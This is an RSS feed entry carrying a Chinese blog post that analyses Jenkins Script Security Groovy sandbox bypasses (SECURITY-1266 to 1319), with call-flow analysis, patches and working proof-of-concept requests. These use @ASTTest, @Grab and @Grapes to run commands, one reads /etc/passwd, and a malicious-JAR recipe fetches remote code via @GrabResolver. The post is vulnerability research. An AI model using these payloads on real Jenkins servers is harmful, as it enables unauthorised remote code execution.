<?xml version="1.0" encoding="utf-8" standalone="yes" ?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
  <channel>
    <title>Jenkins on 诗与胡说</title>
    <link>https://kylingit.com/tags/jenkins/index.xml</link>
    <description>Recent content in Jenkins on 诗与胡说</description>
    <generator>Hugo -- gohugo.io</generator>
    <language>zh_cn</language>
    <copyright>Copyright © 2021 Kylinking</copyright>
    <atom:link href="https://kylingit.com/tags/jenkins/index.xml" rel="self" type="application/rss+xml" />
    
    <item>
      <title>Jenkins 路由解析及沙箱绕过漏洞分析报告(下)</title>
      <link>https://kylingit.com/blog/jenkins-%E8%B7%AF%E7%94%B1%E8%A7%A3%E6%9E%90%E5%8F%8A%E6%B2%99%E7%AE%B1%E7%BB%95%E8%BF%87%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E6%8A%A5%E5%91%8A%E4%B8%8B/</link>
      <pubDate>Wed, 16 Sep 2020 11:48:32 +0000</pubDate>
      
      <guid>https://kylingit.com/blog/jenkins-%E8%B7%AF%E7%94%B1%E8%A7%A3%E6%9E%90%E5%8F%8A%E6%B2%99%E7%AE%B1%E7%BB%95%E8%BF%87%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E6%8A%A5%E5%91%8A%E4%B8%8B/</guid>
      <description>

&lt;script src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/pangu.js&#34;&gt;&lt;/script&gt;

&lt;h1 id=&#34;jenkins-路由解析及沙箱绕过漏洞分析报告-下&#34;&gt;Jenkins 路由解析及沙箱绕过漏洞分析报告(下)&lt;/h1&gt;

&lt;p&gt;&lt;img src=&#34;https://jenkins.io/images/logo-title-opengraph.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;本报告下篇分析Jenkins主流插件Script Security中针对Groovy沙箱的绕过方法，梳理了Jenkins官方2018-2019年以来涉及沙箱绕过的安全更新，探讨Java沙箱在Java应用中的安全性。&lt;/p&gt;

&lt;h2 id=&#34;突破groovy沙箱&#34;&gt;突破Groovy沙箱&lt;/h2&gt;

&lt;p&gt;借用@廖新喜在2019 KCon大会的议题&lt;a href=&#34;https://github.com/knownsec/KCon/blob/master/2019/24%E6%97%A5/Java%E7%94%9F%E6%80%81%E5%9C%88%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8%E5%AE%9E%E6%88%98.pdf&#34;&gt;《Java生态圈沙箱逃逸实战》&lt;/a&gt;中的一张图，概括了Groovy沙箱的绕过史&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1570866330294.png&#34; alt=&#34;1570866330294&#34; /&gt;&lt;/p&gt;

&lt;p&gt;下面按照官方发布的安全更新先后顺序梳理在Script Security插件中出现的沙箱绕过漏洞&lt;/p&gt;

&lt;h3 id=&#34;security-1266&#34;&gt;SECURITY-1266&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;公告：&lt;a href=&#34;https://jenkins.io/security/advisory/2019-01-08/#SECURITY-1266&#34;&gt;https://jenkins.io/security/advisory/2019-01-08/#SECURITY-1266&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;CVE：CVE-2019-1003000&lt;/li&gt;
&lt;li&gt;插件：Script Security&lt;/li&gt;
&lt;li&gt;影响版本：&amp;lt;=1.49&lt;/li&gt;
&lt;li&gt;利用点

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript#DescriptorImpl&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;org.jenkinsci.plugins.workflow.cps#CpsFlowDefinition&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h4 id=&#34;分析&#34;&gt;分析&lt;/h4&gt;

&lt;p&gt;DescriptorImpl继承自Descriptor，通过上面的利用链能调用到这个descriptor并且能指定调用方法，同时这个类的&lt;code&gt;doCheckScript&lt;/code&gt;方法对Groovy脚本进行了解析，又根据上文的分析我们可以调用到任意&lt;code&gt;do&lt;/code&gt;方法，因此这个过程可以控制传入的脚本内容进而绕过沙箱执行代码&lt;/p&gt;

&lt;p&gt;下面是分析GroovyShell解析脚本的过程，不感兴趣的可以略过&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1566973312540.png&#34; alt=&#34;1566973312540&#34; /&gt;&lt;/p&gt;

&lt;p&gt;通过&lt;code&gt;parse()&lt;/code&gt;方法解析Groovy脚本，经过一系列调用后进入&lt;code&gt;GroovyClassLoader#doParseClass()&lt;/code&gt;方法，在该方法中的&lt;code&gt;unit.compile(goalPhase);&lt;/code&gt;完成解析&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1568882770356.png&#34; alt=&#34;1568882770356&#34; /&gt;&lt;/p&gt;

&lt;p&gt;其中&lt;code&gt;goalPhase&lt;/code&gt;记录了当前解析的阶段，相关定义在&lt;code&gt;org.codehaus.groovy.control.Phases&lt;/code&gt;，可以看到在Groovy compile的时候共有9个阶段，其中&lt;code&gt;ALL&lt;/code&gt;和&lt;code&gt;FINALIZATION&lt;/code&gt;定义是一样的&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1568881838677.png&#34; alt=&#34;1568881838677&#34; /&gt;&lt;/p&gt;

&lt;p&gt;从注释也能看出来，分别是&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;&lt;em&gt;初始化&lt;/em&gt;&lt;/strong&gt;：打开源文件并配置环境；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;em&gt;解析&lt;/em&gt;&lt;/strong&gt;：语法用于生成代表源代码的令牌树；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;em&gt;转换&lt;/em&gt;&lt;/strong&gt;：从标记树创建抽象语法树（AST）；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;em&gt;语义分析&lt;/em&gt;&lt;/strong&gt;：执行语法无法检查的一致性和有效性检查，并解析类；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;em&gt;规范化&lt;/em&gt;&lt;/strong&gt;：完成AST的构建；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;em&gt;指令选择&lt;/em&gt;&lt;/strong&gt;：选择指令集，例如Java 6或Java 7字节码级别；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;em&gt;类生成&lt;/em&gt;&lt;/strong&gt;：在内存中创建*类*的字节码；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;em&gt;输出&lt;/em&gt;&lt;/strong&gt;：将二进制输出写入文件系统；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;em&gt;完成&lt;/em&gt;&lt;/strong&gt;：执行任何最后的清理；&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;跟入&lt;code&gt;CompilationUnit#compile()&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1568965892472.png&#34; alt=&#34;1568965892472&#34; /&gt;&lt;/p&gt;

&lt;p&gt;可以看到当执行到阶段4时会先调用doPhaseOperation()方法，然后继续&lt;code&gt;processPhaseOperations()&lt;/code&gt;和&lt;code&gt;processNewPhaseOperations()&lt;/code&gt;操作，接着如果&lt;code&gt;progressCallback&lt;/code&gt;不为空的话会去调用回调函数，当第一次进行到阶段4的时候，会设置progressCallback为&lt;code&gt;ASTTestTransformation&lt;/code&gt;，接下来的阶段progressCallback都为这个值，直到执行到设置好的阶段7。&lt;/p&gt;

&lt;p&gt;在执行progressCallback.call，即调用到&lt;code&gt;ASTTestTransformation#visit()&lt;/code&gt;的过程中，会再次调用到&lt;code&gt;GroovyShell#evaluate()&lt;/code&gt;，随后再次进入parse的流程，这是一个递归的过程，也就是说从阶段4到阶段7一共会执行4次parse，每次parse完成通过&lt;code&gt;script.run()&lt;/code&gt;执行代码&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1568971024024.png&#34; alt=&#34;1568971024024&#34; /&gt;&lt;/p&gt;

&lt;p&gt;本地测试一下，打印出每次执行到的阶段，可以看到对ASTTest的解析会涉及到阶段4到阶段7&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1568971437485.png&#34; alt=&#34;1568971437485&#34; /&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;一个tips：&lt;/p&gt;

&lt;p&gt;@ASTTest有两个参数，其中*phase*可以指定ASTTest执行的阶段，在该阶段结束时作用于AST树&lt;/p&gt;

&lt;p&gt;参考：&lt;a href=&#34;https://groovy-lang.org/metaprogramming.html#xform-ASTTest&#34;&gt;https://groovy-lang.org/metaprogramming.html#xform-ASTTest&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;因此，通过&lt;code&gt;@ASTTest&lt;/code&gt;语法可以利用断言执行代码，这个过程发生在Groovy解析脚本的过程中，而不用等到具体调用再执行&lt;/p&gt;

&lt;h4 id=&#34;poc&#34;&gt;PoC&lt;/h4&gt;

&lt;pre&gt;&lt;code&gt;GET /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&amp;amp;value=import%20groovy.transform.*%0a@ASTTest(value={assert%20java.lang.Runtime.getRuntime().exec(&amp;quot;calc&amp;quot;)})%0aclass%20ASTTestPoc{}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1566962122229.png&#34; alt=&#34;1566962122229&#34; /&gt;&lt;/p&gt;

&lt;h4 id=&#34;补丁&#34;&gt;补丁&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;jenkinsci/script-security-plugin &lt;a href=&#34;https://github.com/jenkinsci/script-security-plugin/commit/2c5122e50742dd16492f9424992deb21cc07837c&#34;&gt;commit&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;版本：1.50&lt;/li&gt;
&lt;li&gt;概述：新增RejectASTTransformsCustomizer类，拦截ASTTest.class和Grab.class，出现这两个语法会抛出异常&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1568605407294.png&#34; alt=&#34;1568605407294&#34; /&gt;&lt;/p&gt;

&lt;h3 id=&#34;security-1292&#34;&gt;SECURITY-1292&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;公告：&lt;a href=&#34;https://jenkins.io/security/advisory/2019-01-28/#SECURITY-1292&#34;&gt;https://jenkins.io/security/advisory/2019-01-28/#SECURITY-1292&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;CVE：CVE-2019-1003005&lt;/li&gt;
&lt;li&gt;插件：Script Security Plugin&lt;/li&gt;
&lt;li&gt;版本：&amp;lt;=1.50&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
&lt;p&gt;Script Security sandbox protection could be circumvented during the script compilation phase by applying AST transforming annotations such as &lt;code&gt;@Grab&lt;/code&gt; to source code elements.&lt;/p&gt;

&lt;p&gt;This affected an HTTP endpoint used to validate a user-submitted Groovy script that was not covered in the &lt;a href=&#34;https://jenkins.io/security/advisory/2019-01-08/#SECURITY-1266&#34;&gt;2019-01-08 fix for SECURITY-1266&lt;/a&gt; and allowed users with Overall/Read permission to bypass the sandbox protection and execute arbitrary code on the Jenkins master.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;code&gt;org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript#DescriptorImpl&lt;/code&gt;利用链中的&lt;code&gt;doCheckScript&lt;/code&gt;方法没有及时更新修复后的安全方法，依然存在风险，绕过点就是利用&lt;code&gt;@Grab&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;Grape&lt;/code&gt; 是一个内嵌在 Groovy 中的 JAR 依赖项管理器，方便在classpath中快速添加 Maven 库依赖项，更易于编写脚本。最简单的用法是在脚本上添加注释（annotation），如下所示：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-java&#34;&gt;@Grab(group=&#39;org.springframework&#39;, module=&#39;spring-orm&#39;, version=&#39;3.2.5.RELEASE&#39;)
import org.springframework.jdbc.core.JdbcTemplate
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;程序会自动去仓库下载对应的库，并保存在&lt;code&gt;~/.groovy/grapes/&lt;/code&gt;目录&lt;/p&gt;

&lt;h4 id=&#34;分析-1&#34;&gt;分析&lt;/h4&gt;

&lt;p&gt;现在只需找到一个可以利用的类便可完成代码执行，这里列举两个：&lt;/p&gt;

&lt;p&gt;&lt;code&gt;org.zeroturnaround.zt-exec&lt;/code&gt;类，本地测试&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-java&#34;&gt;@Grab(&#39;org.zeroturnaround:zt-exec:1.11&#39;)
import org.zeroturnaround.exec.ProcessExecutor
new ProcessExecutor().command(&amp;quot;calc&amp;quot;).execute()
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1570780489674.png&#34; alt=&#34;1570780489674&#34; /&gt;&lt;/p&gt;

&lt;p&gt;除此之外，&lt;a href=&#34;adamyordan/cve-2019-1003000-jenkins-rce-poc&#34;&gt;adamyordan/cve-2019-1003000-jenkins-rce-poc&lt;/a&gt;利用了&lt;code&gt;org.buildobjects.process.ProcBuilder&lt;/code&gt;类，效果是一样的&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-java&#34;&gt;import org.buildobjects.process.ProcBuilder
@Grab(&#39;org.buildobjects:jproc:2.2.3&#39;)
class Dummy{ }
print new ProcBuilder(&amp;quot;/bin/bash&amp;quot;).withArgs(&amp;quot;-c&amp;quot;,&amp;quot;cat /etc/passwd&amp;quot;).run().getOutputString()
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;但是，在Jenkins中执行并不能正常触发，报错如下：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;Caused by: java.lang.RuntimeException: No suitable ClassLoader found for grab
        at sun.reflect.NativeConstructorAccessorImpl.newInstance0(Native Method)
        at sun.reflect.NativeConstructorAccessorImpl.newInstance(NativeConstructorAccessorImpl.java:62)
        at sun.reflect.DelegatingConstructorAccessorImpl.newInstance(DelegatingConstructorAccessorImpl.java:45)
        at java.lang.reflect.Constructor.newInstance(Constructor.java:423)
        at org.codehaus.groovy.reflection.CachedConstructor.invoke(CachedConstructor.java:83)
        at org.codehaus.groovy.runtime.callsite.ConstructorSite$ConstructorSiteNoUnwrapNoCoerce.callConstructor(ConstructorSite.java:105)
        at org.codehaus.groovy.runtime.callsite.CallSiteArray.defaultCallConstructor(CallSiteArray.java:60)
        at org.codehaus.groovy.runtime.callsite.AbstractCallSite.callConstructor(AbstractCallSite.java:235)
        at org.codehaus.groovy.runtime.callsite.AbstractCallSite.callConstructor(AbstractCallSite.java:247)
        at groovy.grape.GrapeIvy.chooseClassLoader(GrapeIvy.groovy:182)
        at groovy.grape.GrapeIvy$chooseClassLoader.callCurrent(Unknown Source)
        at groovy.grape.GrapeIvy.grab(GrapeIvy.groovy:249)
        at groovy.grape.Grape.grab(Grape.java:167)
        at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
        at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
        at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
        at java.lang.reflect.Method.invoke(Method.java:498)
        at org.codehaus.groovy.reflection.CachedMethod.invoke(CachedMethod.java:93)
        at groovy.lang.MetaMethod.doMethodInvoke(MetaMethod.java:325)
        at org.codehaus.groovy.runtime.callsite.StaticMetaMethodSite.invoke(StaticMetaMethodSite.java:46)
        at org.codehaus.groovy.runtime.callsite.StaticMetaMethodSite.callStatic(StaticMetaMethodSite.java:102)
        at org.codehaus.groovy.runtime.callsite.CallSiteArray.defaultCallStatic(CallSiteArray.java:56)
        at org.codehaus.groovy.runtime.callsite.AbstractCallSite.callStatic(AbstractCallSite.java:194)
        at org.kohsuke.groovy.sandbox.impl.Checker$2.call(Checker.java:188)
        at org.kohsuke.groovy.sandbox.impl.Checker.checkedStaticCall(Checker.java:190)
        at org.kohsuke.groovy.sandbox.impl.Checker$checkedStaticCall$0.callStatic(Unknown Source)
        at org.codehaus.groovy.runtime.callsite.CallSiteArray.defaultCallStatic(CallSiteArray.java:56)
        at org.codehaus.groovy.runtime.callsite.AbstractCallSite.callStatic(AbstractCallSite.java:194)
        at org.codehaus.groovy.runtime.callsite.AbstractCallSite.callStatic(AbstractCallSite.java:222)
        at Script1.&amp;lt;clinit&amp;gt;(Script1.groovy)
        ... 95 more
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;下面针对这个异常来分析@grab的执行流程，不感兴趣的可以略过&lt;/p&gt;

&lt;p&gt;&lt;code&gt;@grab&lt;/code&gt;的解析与上面&lt;code&gt;@ASTTest&lt;/code&gt;类似，同样是9个阶段，不同的是解析ASTTest时回调的是&lt;code&gt;ASTTestTransformation&lt;/code&gt;而grab回调的是&lt;code&gt;GrabAnnotationTransformation#visit()&lt;/code&gt;，进而执行到&lt;code&gt;groovy.grape.Grape#grab&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1571037111326.png&#34; alt=&#34;1571037111326&#34; /&gt;&lt;/p&gt;

&lt;p&gt;最终的实现由&lt;code&gt;groovy.grape.GrapeIvy#grab&lt;/code&gt;来完成，&lt;a href=&#34;https://github.com/groovy/groovy-core/blob/master/src/main/groovy/grape/GrapeIvy.groovy#L242&#34;&gt;源码&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1571037984228.png&#34; alt=&#34;1571037984228&#34; /&gt;&lt;/p&gt;

&lt;p&gt;在这个过程中会通过两次&lt;code&gt;chooseClassLoader&lt;/code&gt;来加载class，当class以及其父类不属于&lt;code&gt;groovy.lang.GroovyClassLoader&lt;/code&gt;或者&lt;code&gt;org.codehaus.groovy.tools.RootLoader&lt;/code&gt;时会抛出&lt;code&gt;No suitable ClassLoader found for grab&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1571047376914.png&#34; alt=&#34;1571047376914&#34; /&gt;&lt;/p&gt;

&lt;p&gt;通过&lt;code&gt;Matrix Project Plugin&lt;/code&gt;插件来跟踪流程，该插件的&lt;code&gt;Combination Filter&lt;/code&gt;功能可以进行groovy解析，这个地方也披露过一个沙箱绕过漏洞，具体分析请参考下文[SECURITY-1339]{#SECURITY-1339}&lt;/p&gt;

&lt;p&gt;当用户从Configuration Matrix页面上保存配置时，调用如下&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-java&#34;&gt;public Script parse(GroovyCodeSource codeSource) throws CompilationFailedException {
    return InvokerHelper.createScript(this.parseClass(codeSource), this.context);
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;在执行&lt;code&gt;createScript()&lt;/code&gt;和&lt;code&gt;parseClass()&lt;/code&gt;两个方法时都会对grab进行解析，但参数有所不同&lt;/p&gt;

&lt;p&gt;&lt;code&gt;parseClass()&lt;/code&gt;过程传递的参数&lt;code&gt;classLoader&lt;/code&gt;为&lt;code&gt;GroovyClassLoader&lt;/code&gt;，因此能够正常加载，即一次成功的grab解析过程&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1571046450490.png&#34; alt=&#34;1571046450490&#34; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;createScript()&lt;/code&gt;过程的args参数不含&lt;code&gt;classLoader&lt;/code&gt;，于是Jenkins会加载当前插件类&lt;code&gt;script-security&lt;/code&gt;，不属于上面提到的&lt;code&gt;groovy.lang.GroovyClassLoader&lt;/code&gt;或者&lt;code&gt;org.codehaus.groovy.tools.RootLoader&lt;/code&gt;，所以会抛出&lt;code&gt;No suitable ClassLoader found for grab&lt;/code&gt;异常，但是恶意代码已经在第一次解析的时候触发了&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1571051122801.png&#34; alt=&#34;1571051122801&#34; /&gt;&lt;/p&gt;

&lt;p&gt;两次调用栈对比&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1571051029984.png&#34; alt=&#34;1571051029984&#34; /&gt;&lt;/p&gt;

&lt;p&gt;接下来当成功获取到&lt;code&gt;loader&lt;/code&gt; 后会通过下面两个方法开始解析具体的jar文件，重点关注&lt;code&gt;processOtherServices()&lt;/code&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;processCategoryMethods()&lt;/li&gt;
&lt;li&gt;processOtherServices()&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1571051322541.png&#34; alt=&#34;1571051322541&#34; /&gt;&lt;/p&gt;

&lt;p&gt;可以看到在&lt;code&gt;processRunners()&lt;/code&gt;中有 &lt;code&gt;newInstance()&lt;/code&gt;方法，当我们把&lt;code&gt;META-INF/services/org.codehaus.groovy.plugins.Runners&lt;/code&gt;设置成恶意类时，Grape就会以这个类为入口点，即可创建这个类的实例，这也就是Orange在&lt;a href=&#34;https://devco.re/blog/2019/02/19/hacking-Jenkins-part2-abusing-meta-programming-for-unauthenticated-RCE/&#34;&gt;Hacking Jenkins Part 2&lt;/a&gt;中提到要将执行的类名放到该路径下的原因：&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;這裡的 &lt;code&gt;newInstance()&lt;/code&gt; 不就代表著可以呼叫到任意類別的 &lt;code&gt;Constructor&lt;/code&gt; 嗎? 沒錯! 所以只需產生一個惡意的 JAR 檔，把要執行的類別全名放至 &lt;code&gt;META-INF/services/org.codehaus.groovy.plugins.Runners&lt;/code&gt; 中即可呼叫指定類別的&lt;code&gt;Constructor&lt;/code&gt; 去執行任意代碼!&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;因此该漏洞的触发方式是，使用@grab引入外部jar文件，并且jar包中的&lt;code&gt;META-INF/services/org.codehaus.groovy.plugins.Runners&lt;/code&gt;内容为要执行的类名，通过&lt;code&gt;GroovyShell.parse&lt;/code&gt;即可触发。&lt;/p&gt;

&lt;h4 id=&#34;poc-1&#34;&gt;PoC&lt;/h4&gt;

&lt;p&gt;需要额外创建恶意jar包并放在&lt;code&gt;~/.groovy/grapes/jars&lt;/code&gt;目录，较鸡肋，配合&lt;code&gt;@GrabResolver&lt;/code&gt;从远程获取恶意类更方便触发，详细分析参考[SECURITY-1319]{#SECURITY-1319}&lt;/p&gt;

&lt;h4 id=&#34;补丁-1&#34;&gt;补丁&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;jenkinsci/script-security-plugin &lt;a href=&#34;https://github.com/jenkinsci/script-security-plugin/commit/35119273101af26792457ec177f34f6f4fa49d99&#34;&gt;commit&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;版本：1.51&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;概述：在1.50的修复中新增了一个&lt;code&gt;RejectASTTransformsCustomizer&lt;/code&gt;类用来拦截黑名单，但是在&lt;code&gt;SecureGroovyScript#DescriptorImpl&lt;/code&gt;的&lt;code&gt;doCheckScript()&lt;/code&gt;方法中并没有调用，在该版本修改了直接parse的过程&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1570781824987.png&#34; alt=&#34;1570781824987&#34; /&gt;&lt;/p&gt;

&lt;p&gt;createSecureCompilerConfiguration()方法即在&lt;a href=&#34;https://jenkins.io/security/advisory/2019-01-08/#SECURITY-1266&#34;&gt;SECURITY-1266&lt;/a&gt;中新增的修复方法&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos.ap-beijing.myqcloud.com/images/1570782051460.png&#34; alt=&#34;1570782051460&#34; /&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&#34;security-1318&#34;&gt;SECURITY-1318&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;@Grapes&lt;/code&gt;可以进行多重注释，如&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-java&#34;&gt;@Grapes([
   @Grab(group=&#39;commons-primitives&#39;, module=&#39;commons-primitives&#39;, version=&#39;1.0&#39;),
   @Grab(group=&#39;org.ccil.cowan.tagsoup&#39;, module=&#39;tagsoup&#39;, version=&#39;0.9.7&#39;)])
class Example {
// ...
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;所以上面的&lt;code&gt;@Grab&lt;/code&gt;可以放进&lt;code&gt;@Grapes&lt;/code&gt;中，效果是一样的，以此来绕过黑名单&lt;/p&gt;

&lt;h4 id=&#34;poc-2&#34;&gt;PoC&lt;/h4&gt;

&lt;pre&gt;&lt;code class=&#34;language-java&#34;&gt;@Grapes([@Grab(&#39;org.zeroturnaround:zt-exec:1.11&#39;), @GrabConfig(systemClassLoader=false)])
import org.zeroturnaround.exec.ProcessExecutor;
new ProcessExecutor().command(&amp;quot;calc&amp;quot;).execute();
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&#34;security-1319&#34;&gt;SECURITY-1319&lt;/h3&gt;

&lt;p&gt;使用&lt;code&gt;@GrabResolver&lt;/code&gt;可以从指定仓库下载依赖文件，如&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-java&#34;&gt;@GrabResolver(name=&#39;restlet&#39;, root=&#39;http://maven.restlet.org/&#39;)
@Grab(group=&#39;org.restlet&#39;, module=&#39;org.restlet&#39;, version=&#39;1.1.6&#39;)
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这里的root可以指定任意地址，也就可以从远程获取恶意jar文件，这也是Orange在&lt;a href=&#34;https://devco.re/blog/2019/02/19/hacking-Jenkins-part2-abusing-meta-programming-for-unauthenticated-RCE/&#34;&gt;Hacking Jenkins Part 2&lt;/a&gt;提到的方法&lt;/p&gt;

&lt;h4 id=&#34;poc-3&#34;&gt;PoC&lt;/h4&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;编写执行命令的恶意类&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-java&#34;&gt;public class Exploit {
    public Exploit() {
        try {
            String payload = &amp;quot;calc&amp;quot;;
            String[] cmds = {&amp;quot;cmd&amp;quot;, &amp;quot;/c&amp;quot;, payload};
            java.lang.Runtime.getRuntime().exec(cmds);
        } catch (Exception e) {
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;编译生成class&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-java&#34;&gt;javac Exploit.java
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;创建文件夹&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-bash&#34;&gt;mkdir -p META-INF/services/
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;将要执行的类名写入到&lt;code&gt;META-INF/services/org.codehaus.groovy.plugins.Runners&lt;/code&gt; 中，原因见上文&lt;code&gt;@grab&lt;/code&gt;的分析&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-bash&#34;&gt;echo Exploit &amp;gt;META-INF/services/org.codehaus.groovy.plugins.Runners
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;打包成jar&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-bash&#34;&gt;jar cvf payload-1.jar Exploit.class META-INF/
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;创建目录，与最终poc中garb的group，module，version关联，如&lt;/p&gt;

&lt;p&gt;&lt;code&gt;@Grab(group=&#39;exp&#39;,module=&#39;payload&#39;,version=&#39;1&#39;)&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;则创建&lt;code&gt;exp/payload/1&lt;/code&gt;目录&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;把生成的jar文件放在&lt;code&gt;exp/payload/1&lt;/code&gt;中，并开启一个http服务&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;发送PoC&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;GET /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&amp;amp;value=@GrabConfig(disableChecksums=true)%0a@GrabResolver(name=&#39;payload&#39;,root=&#39;http://127.0.0.1:83/&#39;)%0a@Grab(group=&#39;exp&#39;,module=&#39;payload&#39;,version=&#39;1&#39;)%0aimport%20Exploit;
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;

